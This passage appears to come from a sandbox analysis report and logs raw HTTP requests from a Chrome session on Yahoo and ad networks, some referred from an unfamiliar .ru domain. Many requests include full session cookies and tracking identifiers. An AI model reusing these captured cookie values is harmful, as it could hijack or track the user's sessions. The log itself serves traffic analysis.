corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=8ee0c49b-140c-40eb-9a80-81eb1f667bc5
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=3478411438996106&correlator=2098711035967007&eid=31087349&output=ldjh&gdfp_req=1&vrg=202409240101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp_sid=-1&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_as_mid_right_b&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8&prev_iu_szs=300x250%7C300x600%2C970x250%7C3x1%7C728x90%2C300x250%2C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1&eri=5&sc=1&cookie_enabled=1&abxe=1&dt=1727716874857&adxs=951%2C147%2C951%2C951&adys=1172%2C209%2C2285%2C2035&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C0%7C2%7C3&ucis=1%7C2%7C3%7C4&oid=2&u_his=2&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-240&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&ref=https%3A%2F%2Fhfj.rontishet.ru%2F&vis=1&psz=292x2541%7C1280x270%7C300x540%7C300x540&msz=292x600%7C1280x270%7C300x250%7C300x0&fws=4%2C2052%2C132%2C132&ohw=1263%2C1263%2C300%2C300&td=1&egid=1261&topics=1&tps=1&htps=10&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1727716854808&idt=8298&prev_scp=loc%3Dtop_right%7Cloc%3Dtop_center%7Cloc%3Dmid_right_a%7Cloc%3Dmid_right_b&cust_params=bucket%3D900%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26usercountry%3DUS%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D1pa4ckpjflnfm%26bka%3D0%26ay_floor_g%3Dmodel%2520not%2520loaded%26ay_floor_m%3Dmodel%2520not%2520loaded%26ay_floor_s%3Dmodel%2520not%2520loaded%26hb_uid_mod%3Dliveintentid_on_not_enriched%26li-module-enabled%3Dt1-e0%26lr_env%3Dno-id&adks=1481106528%2C3690920304%2C3064630007%2C3845938001&frm=20&eoidce=1 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Browsing-Topics: ();p=P0000000000000000000000000000000Sec-Ad-Auction-Fetch: ?1Origin: https://www.yahoo.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /safeframe/1-0-40/html/container.html HTTP/1.1Host: f665d8114e8c2c904180d9ba9ec2b7b1.safeframe.googlesyndication.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-fp.json HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie_sync HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /yahooweb-network/pmk-20220605.1.js HTTP/1.1Host: pm-widget.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /screener/predefined/ms_basic_materials/ HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-games.custom.modern.5043a481c515b36358c32b8ea2d581fe.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1727716872500&did=did-004f&se=e30&duid=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq&tv=8.51.0&pu=https%3A%2F%2Fwww.yahoo.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&refr=https%3A%2F%2Fhfj.rontishet.ru%2F&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&n3pc=true HTTP/1.1Host: rp.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=8ee0c49b-140c-40eb-9a80-81eb1f667bc5; lidid=8ee0c49b-140c-40eb-9a80-81eb1f667bc5
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lr_sync HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /sectors/basic-materials HTTP/1.1Host: finance.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /yahooweb-network/pmk-20220605.1.js HTTP/1.1Host: pm-widget.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /libtrc/google-topics-api.20240929-12-RELEASE.es6.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/pv/perf-vitals_3.3.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-start-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-games.custom.modern.5043a481c515b36358c32b8ea2d581fe.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-result-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/analytics HTTP/1.1Host: pbd.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-error-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-close-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=3478411438996106&correlator=2098711035967007&eid=31087349&output=ldjh&gdfp_req=1&vrg=202409240101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp_sid=-1&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_as_mid_right_b&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8&prev_iu_szs=300x250%7C300x600%2C970x250%7C3x1%7C728x90%2C300x250%2C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1&eri=5&sc=1&cookie_enabled=1&abxe=1&dt=1727716874857&adxs=951%2C147%2C951%2C951&adys=1172%2C209%2C2285%2C2035&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C0%7C2%7C3&ucis=1%7C2%7C3%7C4&oid=2&u_his=2&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-240&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&ref=https%3A%2F%2Fhfj.rontishet.ru%2F&vis=1&psz=292x2541%7C1280x270%7C300x540%7C300x540&msz=292x600%7C1280x270%7C300x250%7C300x0&fws=4%2C2052%2C132%2C132&ohw=1263%2C1263%2C300%2C300&td=1&egid=1261&topics=1&tps=1&htps=10&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1727716854808&idt=8298&prev_scp=loc%3Dtop_right%7Cloc%3Dtop_center%7Cloc%3Dmid_right_a%7Cloc%3Dmid_right_b&cust_params=bucket%3D900%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26usercountry%3DUS%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D1pa4ckpjflnfm%26bka%3D0%26ay_floor_g%3Dmodel%2520not%2520loaded%26ay_floor_m%3Dmodel%2520not%2520loaded%26ay_floor_s%3Dmodel%2520not%2520loaded%26hb_uid_mod%3Dliveintentid_on_not_enriched%26li-module-enabled%3Dt1-e0%26lr_env%3Dno-id&adks=1481106528%2C3690920304%2C3064630007%2C3845938001&frm=20&eoidce=1 HTTP/1.1Host: 